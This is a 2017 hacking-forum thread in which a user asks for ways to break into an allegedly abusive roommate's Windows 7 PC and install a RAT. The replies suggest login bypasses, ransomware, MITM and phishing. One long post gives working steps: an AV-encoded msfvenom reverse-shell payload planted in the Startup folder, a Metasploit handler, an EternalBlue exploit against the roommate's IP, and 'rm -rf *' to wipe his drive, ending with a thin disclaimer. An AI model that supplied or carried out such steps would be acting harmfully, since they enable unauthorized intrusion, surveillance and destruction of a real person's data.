

Forum:[Hack Forums](#)

Thread: [Suggestions on what hacks I can perform on evil room mate](#)

popsagirl - May 21, 2017, 6:02 am

Hello, Let me start off by saying I am very new to this. I have a room mate that is completely evil and has really caused distress to me and others. Anyway we have a home network and he has his Mobile, Desktop computer, Laptop and PS4 connected to it.

I was looking for suggestions for possible things I could do. As he is out of the house, I can get onto his PC but it is password protected (running windows 7). Can someone lead me in the right direction as to what is possible. Maybe I am able to crack his password somehow and install a RAT?

Thanks, I shall research some more and help is appreciated!

Nachfolger - May 21, 2017, 6:04 am

Cut the power cords to his devices. That will show him.

homoneekeri - May 21, 2017, 5:35 pm

go plug the usb killer into his computer
or either ddos the net alltime he is playing for example

Sheeple - May 21, 2017, 7:17 pm

if he has win7 , you can use that once exploit that was just popular cuz of the NSA, forgot what it's called but it'll allow you to remotley hack his machine and install a rat on it

LogicGeek - May 21, 2017, 7:24 pm

(May 21, 2017 07:17 PM)Sheeple Wrote: [\[CITE\]](#) if he has win7 , you can use that once exploit that was just popular cuz of the NSA, forgot what it's called but it'll allow you to remotley hack his machine and install a rat on it
1,2,3 patched

Asdethprime - May 21, 2017, 7:49 pm

Hi popsagirl,

If you just want to get into the computer without changing his password you could use the sticky key exploit:

<https://social.technet.microsoft.com/Forums/windows/en-US/a3968ec9-5824-4bc2-82a2-a37ea88c273a/sticky-keys-exploit?forum=w7itprosecurity>

Additionally if you feel you can get away with changing his password you can use ntpasswd to get into the computer

<https://www.top-password.com/blog/reset-windows-8-or-7-password-with-the-freeware-ntpasswd/>

Once you are in you can do a host of different things:

- 1) Encrypt his data so nothing is accessible: github has various free open source ransomware if you wanna go that way, or you could simply use something like bitlocker to encrypt it.
- 2) You can put a premium malware that allows you to control his entire system remotely: perhaps something like Meterpreter (Metasploit) or Empire (Powershell Empire). They are part of their

respective framework you can download them for free.

3) You could also run a credential harvest attack, steal his credentials and do stuffs with it

Once you have a physical access to the computer itself it becomes extremely hard to prevent someone from owning the system.

Zep0th - May 25, 2017, 9:29 pm

If connected on the same wifi use netcut, android? wifkill but you will need to be rooted

you can also install malware on his phone while he sleeps and fuck around with his phone

nothing extreme but at least you'll have a good laugh.

[BLANK] - May 25, 2017, 9:53 pm

Not suggesting anything illegal, but...if you could manage to change the wifi password, that would be evil and hilarious, but don't do anything illegal of course.

elninocartel - May 25, 2017, 11:11 pm

Do a MITM and see all his HTTPs connections outbound

cr0sh - May 28, 2017, 2:10 am

log onto his computer and dump a bunch of graphic tasteless porn0 onto it delete precious files that he has in his folders, most people keep school work and other docs on their computers. change his wallpaper to something shitty like My Little Pony or something.

(May 25, 2017 09:53 PM)EasyGhost Wrote: [\[CITE\]](#) Not suggesting anything illegal, but...if you could manage to change the wifi password, that would be evil and hilarious, but don't do anything illegal of course.

change it to something like his name and is a douche or has a small penis etc.

ka\$h - May 28, 2017, 4:13 am

I think you should all his shoelaces together. That'll show him.

Condorr - June 5, 2017, 12:34 am

theres password recovery tools you can boot from usb or cd that read the registry(?) files and output usernames-passwords.

if its a bios lock look up the mobo for which pins to jump

of course, these are for systems you own

SysAdmin - June 5, 2017, 3:01 am

(Jun 5, 2017 02:29 AM)dihnex Wrote: [\[CITE\]](#) I am able to crack his password somehow and install a RAT?

badestt

Social Engineering is bae, that'll get you far. Bind a RAT to a document or a picture and send it to him, make him open it and voila.. Just remember to FUD the Stub.

Cr4ck27 - June 5, 2017, 3:06 am

Just do RAT system , how about ?

If you want to do, i can help you about RAtIng , Crypting server file

Tipsy - June 5, 2017, 3:09 am

Maybe just give him a slap?

He might stop being a prick for good then, if he doesn't just throw all his shit out the window.

No need to try be sneaky about it.

Rafaelinio - June 5, 2017, 3:12 am

If you want to get into the computer without knowing the password have a look at Kon Boot. If you need any help setting it up or anything PM me

Nomad.Null - June 5, 2017, 1:05 pm

Well...as much as I'd like to dip out of this thread, I am somewhat sympathetic to your problem and your roommate's douchebag ways. Were I of a more malicious mindset, this is what I may try...

1: Get a Linux ISO and load it onto a bootable USB. Kali, KonBoot, or ParrotOS are all perfectly viable options... [Kali Bootable USB Guide](#)

2: Boot up kali disk on your system and prepare your attack

Option 1: Prepare a binary payload and run it on his system

Spoiler ([Click to View](#))Enter terminal

Code `sudo msfvenom -p windows/meterpreter/reverse_https LHOST=<your_IP_Address> LPORT=443 -e x86/shikata_ga_nai -i 3 -f exe > your-payload.exe` Save this payload to another flash-drive and take your bootable USB and this flash drive to his computer.

Restart his computer and plug in both flash drives.

Boot from your bootable kali disk

His hard drives and your flash drive should mount to the disk automatically.

If it does not mount (you cannot see his hard drives in the linux system) enter the following commands

Code `sudo fdisk -l` <This command will spit out the hard disk information. Look for the hard disk with an NTFS formatted partition and labeled "OS" or similar. It will be several gigabytes in size. The it will take the name of "/dev/sda1" or similar. This is the "device_id". sd=storage disk, a-z=disk letter, 1-99=partition>

Code `mount -t ntfs /dev/<device_id> /media/douchbags_computer` This will mount his disk to your linux distro. Switch out the device_id according to the instructions above.

You may need to do this for your flashdrive too.

Once his disk is mounted, you can copy your payload to his system. I recommend copying it to his logon startup folder. It will run the payload as soon as he logs in for the first time. If you followed the instructions above, the payload should be encoded such that antivirus will not pick it up.

Alternatively, use a RAT, although I detest the use of RATs...

If you don't know how to copy files in linux, I suggest you learn... Read the Linux Command Line Guide.

Navigate his filesystem and locate his user path. In windows, it looks like C:\Users\<his_name>\ but on Linux it will appear like /media/douchbags_computer/C/Users/<his_name>

Navigate further into the AppData folder to find his startup items.

On Windows

C:\Users\<his_name>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

On Linux

/media/douchbags_computer/C/Users/<his_name>/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup

Copy your exe payload from your flashdrive into this location. If done correctly, his computer will run this payload as soon as he boots up and logs in every time until it is removed or caught by AV.

Shutdown the system safely.

Return to your computer with both flash drives.

Plug in your bootable linux disk to your system and boot up into Kali.

Start Terminal

Code `sudo service postgresql start`

`sudo service msfdb init` (NOTE: only do this the first time you start metasploit)

`sudo service msfd init`

`sudo msfupdate` (NOTE: Get some coffee, this will take a few minutes...)

`sudo msfconsole`

This will start the Metasploit console. I suggest reading a book on this if you aren't familiar. This is a crash course just to get your payload working...

use `/exploit/multi/handler` (this handles your payload)

set `payload windows/meterpreter/reverse_https` (this is the payload you used when you crafted it)

set `LHOST <your_ip>` (I would advise setting your Kali system to a static IP address if you want the payload to always work every time.)

set `LPORT 443`

set `stageencoding true`

set `encoder x86/shikata_ga_nai`

set `ExitOnSession false` (this will keep the payload running even after you get shell)

You're ready....

`exploit -j` (-j runs the exploit as a job, so that the handler never stops running and will always catch your shell)

[/code]

Wait until he logs in... You should see the following text in the metasploit console when he does...

Code `Sending Stager (##### bytes)`

`Meterpreter Sesssion 1 Opened`

You now have access to his system. Type the following

Code `session -i 1`

Your shell should change to this:

Code `meterpreter> |`

Congratulations, you popped your first shell. Learn how to ruin his day by learning how metasploit works to proceed further.

Option 2: Exploit his system using metasploit

Spoiler ([Click to View](#))

Follow my instructions above on how to create a bootable Kali disk.

Plug in your bootable linux disk to your system and boot up into Kali.

Start Terminal

Code `sudo service postgresql start`

`sudo service msfdb init` (NOTE: only do this the first time you start metasploit)

`sudo service msfd init`

```
sudo msfupdate (NOTE: Get some coffee, this will take a few minutes...)
sudo msfconsole
```

This will start the Metasploit console. I suggest reading a book on this if you aren't familiar. This is a crash course just to get your payload working...

His system, if it has not been updated recently, may be vulnerable to an exploit known as "Eternal Blue." This is the vulnerability which was exploited by the WannaCry ransomware over the last few weeks and is still a VERY serious problem. If this guy is an idiot who doesn't take care of his computer, his will be vulnerable. Here is how to exploit it...

use exploit/windows/smb/ms17_010_eternal_blue (Note: Just in case I typoed the path...you can search this by typing "search ms17" and type the correct path as it appears on screen)

```
set payload windows/meterpreter/reverse_https
set RHOST <his_ip_address>
set RPORT 445
set LHOST <your_ip_address>
set LPORT <1-65535 is fine, but I recommend the default 443>
set stageencoding true
set ExitOnSession false
```

You're ready...

```
exploit -j
[/code]
```

Code Sending Stager (##### bytes)
Meterpreter Sesssion 1 Opened
You now have access to his system. Type the following

Code session -i 1
Your shell should change to this:
Code meterpreter> |
Congratulations, you popped your first shell. Learn how to ruin his day by learning how metasploit works to proceed further.

Option 3: Wreck his drive...
Spoiler ([Click to View](#))
Follow the steps outlined in Option 1 up until the point where I tell you to navigate to his hard drive...

When you are in his hard drive (Your path should be /media/douchebags_computer/C/)
Code lsThis will make sure you're in his C drive....and...
Code rm -rf *This will delete EVERYTHING...PERMANENTLY! ?

This is entirely a hypothetical scenario. I do not recommend neither condone malicious tampering of another person's property regardless of how much of an asshole they are... To follow these instructions on a system which you do not own is to do so at your own peril. You are solely responsible for your own actions and the consequences (jail time) that will surely follow if you are caught. Likewise...conspiring to commit unauthorized access, tampering, and erasure of someone else's data is a federal crime, so... this entire thread is evidence against you should you carry the act

out.

Tread carefully...Big Brother is watching you. ?

Noobface80 - June 10, 2017, 1:49 am

Considering you're new to this stuff, heres some beginner tips to get cha started:

- 1 log onto home router using ip address and block him..
2. Replace all/most desktops shortcuts with shutdown.exe, log off.exe or restart.exe (disguise 2 look like regular apps)
3. Reset his password using a boot disk and make it something unguessable.
4. Clone his hard drive, wipe his original, and tell him if he wants his stuff back, blah, blah.
5. Disable his hd in bios
6. Use a bios password
7. Ctrl + alt + arrow key (any direction) (while in windows)
8. Homoerotic desktop

Lastly

9. Talk to him (this is my most recommended because doing everything else may start a war which ends up hurting u in the future.) anyway, whatever you decide to do, goodluck!!

ProgressiveX - June 10, 2017, 3:59 am

phising xD best way to get revenge :D

gringo - June 10, 2017, 5:39 am

(May 25, 2017 09:53 PM)EasyGhost Wrote: [\[CITE\]](#) Not suggesting anything illegal, but...if you could manage to change the wifi password, that would be evil and hilarious, but don't do anything illegal of course.

I'd just block his MAC addresss from accessing the internet through the router lmao, that way he doesn't suspect shit.

Tyler Durden. - June 10, 2017, 5:41 am

The easiest thing to do, would be using KonBoot to bypass the login on Windows, and then subsequently installing a RAT.